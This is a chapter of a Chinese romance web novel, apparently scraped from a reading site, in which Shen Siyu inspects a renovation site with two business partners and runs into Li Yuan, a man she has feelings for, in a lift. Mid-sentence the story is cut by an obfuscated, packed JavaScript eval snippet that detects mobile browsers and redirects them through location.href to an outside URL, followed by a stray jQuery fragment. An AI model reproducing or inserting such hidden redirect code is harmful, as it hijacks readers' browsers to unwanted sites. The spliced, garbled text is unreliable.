沈思瑜看着身穿包臀裙职业装的陌生女性按下21层,神色微动,不禁抬眼看了看眼前的女人,一头栗色的短发,微微上翘的鼻头,饱满的苹果肌,整张脸上都洋溢着活力,看起来像刚毕业的样子,身上却穿着与年纪不相符的成熟职业装。
她身旁与她一起的同事,年龄与她相仿,两人手里都拎着外卖袋。
沈思瑜打开手上的包装袋,拿了两杯奶茶出来,对两人说:“你们喝奶茶吗?我买的有点多了。”
身穿嫩黄色裙子的女人说话温声细语,不会让人觉得不自在,唐柚与朱珠对视一眼,两人瞳孔肉眼可见地极速放大,讶异脱口而出:“要送给我们喝?”
沈思瑜点点头,把奶茶往两人面前递了递,唐柚道完谢率先接过,朱珠紧随其后,几人攀谈没两句,很快,电梯稳稳地停在20层。
沈思瑜和薛晓婉跨出电梯,身后的电梯门关上,薛晓婉才悠悠开口:“我们思瑜怎么那么好,还给人金诚员工送福利。”
沈思瑜一早就料到薛晓婉要揶揄她,此时脸不红心不跳地回:“只是刚好有多的嘛。”
两人也没太在意这个小插曲,你一言我一语地互揭对方老底,好不热闹,到了正在装修的场地,里面恰巧在涂刷墙面和安装门窗,因此整个地面积了不少的灰尘。
沈思瑜和薛晓婉还没走近,就有眼尖的扯着嗓子冲里面叫了一声“陈哥”,紧接着就有一位穿着衬衫西裤,看样子是负责施工监理的男人快步迎上来:“沈总,薛总,您说您二位怎么不打声招呼,好让我下去接您……”
“行了打住,”薛晓婉打断客套,把她和沈思瑜手里的东西一并都塞给陈聪:“大家工作都辛苦了,这下午茶拿去给大家分分吧。”
陈聪转头叫了两三个人过来把下午茶接了去,再扭头就看见眼前这两位光鲜亮丽的人正要抬腿往里进,他吃了一惊赶忙出声:“沈总,薛总,您二位还是别进来,这灰尘大怕弄脏了您衣服,纪总在里面呢,您二位就放心吧。”
“纪总?”
“是啊,纪总这会儿正在里面抽验细节,估计快结束…”话说到半截,他看着两人意外的神情试探着问了一句:“您不是来找纪总的啊?”
薛晓婉勾唇一笑:“可以是。”说完不顾一头雾水定在原地的男人,就兴冲冲拉着沈思瑜往里进,穿过几堵隔断墙,如愿看见西装革履的人。
接下来就是沈思瑜闭着眼睛都能想到的经典环节,不因别的,只因薛晓婉这个人总能神奇地跟谁都处成“仇人见面分外眼红”的模式。
另一边寰宇21层内。
唐柚和朱珠拎着外卖和奶茶进入办公工位,朱珠将两份外卖其中的一份放在孙怡的桌子上。
唐柚,孙怡,朱珠他们仨都住公司分配的宿舍——安泰苑,她们习惯在公司解决晚餐,因为下班高峰期地铁上人又多通勤时间长,要是等回到宿舍那会儿都已经饿得前胸贴后背了。
孙怡看到两人手上的奶茶,尤其是唐柚也有一杯后,惊道:“唐柚,你发财啦?”
“?”唐柚一头问号。
孙怡笑着打趣:“你今天不是因为打听李律,已经给Lynn点御品斋的外卖大出血了吗,这眼看就要下班了还给自己买杯奶茶?你明天不过啦!”
孙怡哪壶不开提哪壶,唐柚想起自己花了五百大洋才只从Lynn那得了个联系方式就肉疼,这会儿也准备刺激刺激孙怡:“要是你不让朱珠给你拿外卖,这奶茶就是你的了。”
现在一头问号的人变成了孙怡,她看着两人对视一笑的样子,特想知道怎么回事,她晃着朱珠的胳膊:“好朱珠,你就说吧,你都跟唐柚学坏了。”
朱珠也不再卖关子,长话短说道:“这奶茶不是我们自己买的,是跟我们同乘一部电梯的美女送的,她说她买多了。”
孙怡难以置信地咂咂嘴:“这好事儿都能让你俩碰上。”
朱珠和唐柚噗嗤一声同时笑出来。
——
沈思瑜和薛晓婉今天算是体验了一把实业中的艰辛,比起纪清越的尽职尽责她俩简直就是十足的甩手掌柜。大概是三角形具有稳定性吧,她们这样的原始股东竟然没散伙。纪清越是个十足的绅士,尤其是去伦敦留学后‘入乡随俗’,这种绅士风度只增不减,沈思瑜和薛晓婉跟在他后面在场地抽验、学习监工,半个小时一到纪清越说什么都不肯再让穿着高跟鞋的两位女士受累。
她们趁这休息空档去了趟洗手间,沈思瑜在洗手台前拍了拍裙子上的浮灰,洗完手后翻出气垫对着镜子补妆,轻薄的底妆经过氧化遮盖力已经有些弱了,仔细看便能看出她眼下的些许暗色。
薛晓婉环抱着胳膊静静看沈思瑜补妆,今天沈思瑜难得画了个全妆,镜子里的人补过妆后面若桃花,明眸皓齿,但她知道这只是沈思瑜不想让人担心而做的表面功夫:“昨晚几点睡的?”
沈思瑜补妆的动作一顿:“具体不记得了,应该没多晚。”
沈思瑜以往只会因为沈曼音和周寻而失眠,现在又多了个李渊,薛晓婉有些无可奈何,试探着问了一句:“思瑜,你真喜欢上他了?”
沈思瑜轻轻嗯了一声,没否认。
两人收拾好从洗手间出去,又等十多分钟,才等到纪清越忙完出来,几人按下电梯下行键,正商量一会儿去哪吃饭。
就在纪清越和薛晓婉各执一词到底是吃清淡养胃的粤菜还是麻辣鲜香的川菜时,从上面下来的电梯在谁都没注意中打开。
沈思瑜唇边笑意还没落下,抬眸,猝不及防对上电梯里一双深不见底的丹凤眼,她瞳孔微张像被电流击中般连心跳都漏了一拍。
昨晚才不欢而散的人,没想到今天就意外地仓促碰见。
昨晚一直持续到现在的,还未能处理好的情绪就这样被男人轻易地勾起,复燃,沈思瑜站在电梯外没动,不知道为什么会下意识地不想乘坐这趟电梯,但这种不想只在她脑子里存在一瞬,她没忘记她身后还有纪清越,薛晓婉,她不想让人发现一丝一毫的异常。
就在沈思瑜硬着头皮准备抬腿进入轿厢时,迟迟感应不到有人进入的电梯系统照常运作,电梯门开始闭合,几乎是同时,一只骨节分明的手从里面伸出来,精准地卡在即将闭合的金属门中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17061442|192755||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
间。
电梯的光幕传感器感应到障碍物,原本正在合拢的门立刻停住,接着缓缓往两侧反向滑开。
李渊没说话,只是收回手,指尖随意地插回西裤口袋,沈思瑜抬起眼睛看向李渊,试图从那双深不可测的眼睛里找到除平静以外的情绪,但她什么都没找到。
沈思瑜不再看他,垂下眼睫抬腿踏入电梯,纪清越和薛晓婉也跟在后面上了电梯,电梯的空间不小,四个人几乎一人占据一角。
电梯门关上,与李渊同处在一个空间内,那些未得到妥善处理的情绪开始更加强烈地涌动起来,张牙舞爪地跟电梯里的罪魁祸首一起欺负她。
她垂着眼睛,看不见李渊的样子,但沈思瑜想他大概还是那一副冷淡疏离的样子,毕竟从电梯门打开,他们对上视线,她踏进电梯,直到电梯门关上,男人都未显露出一丝一毫多余的情绪。
与李渊的游刃有余不同,她控制不住地去想他昨晚睡得好吗,现在在电梯里他会想什么,也控制不住地想自己身上是不是沾上了不好闻的尘土气,刚刚补的妆是不是好看……
薛晓婉一转以往“不是你死,就是我活”的性子,突然好说话地妥协:“就去吃粤菜吧,听清越的。”
纪清越从进电梯开始就隐约觉得空气里的氛围有一种说不上来的奇怪,他目光落在身旁进入轿厢就未发一言的人身上:“小瑜,想吃粤菜吗?”
他们三人同岁,沈思瑜出生在一年的最后一个月里,是三个人之中最小的,跟薛晓婉和纪清越两人互称全名不一样,纪清越总习惯叫沈思瑜小瑜。
沈思瑜不太有心思听两人说话,只心不在焉地应付:“嗯,都可以。”
一下午沈思瑜脸上都挂着清浅笑意,但自从进入这趟电梯,她唇角的弧度就再没起来过,纪清越几乎是条件反射般地朝电梯里唯一不确定的因素投去视线。
只这一眼,电光火石间,他心头猛地一震,只见那个极具攻击力长相的男人,那双漆黑的瞳仁紧紧锁在沈思瑜身上,同为男人,他可以笃定他的眼神并不清白。
那个男人格外敏锐,几乎是在他看过去的一瞬间就察觉到他的视线,但他只是掀掀眼皮,毫不避讳地对上他探究的目光,眼里的觊觎丝毫未见收敛。
沈思瑜垂着眼睛盯着自己的鞋尖没有察觉到周围的暗流涌动,她裸色高跟鞋的鞋尖侧面沾了点施工场地里的浮灰和一个绿豆大小的白漆点子,沈思瑜下意识挪了挪脚尖往中间并了并,想挡住那一点瑕疵。
纪清越始终留意沈思瑜的一举一动,他半蹲下身,从浅灰西装的口袋里抽出口袋巾,就要用方巾去擦她鞋尖上的那一点几乎没人会注意到的瑕疵。
纪清越动作流畅,一气呵成,沈思瑜看着半蹲在自己面前的男人有些手足无措,但她后面就是电梯轿厢壁,退无可退。
纪清越用口袋巾帮她擦着那块白色漆点,沈思瑜没敢去看李渊的表情,只觉如芒在背,巨大的羞耻和无措快把她淹没了,她没忍住叫了一声:“清越哥,我可以自己来。”
纪清越没停手,温声道:“你穿着裙子,不方便,很快就好。”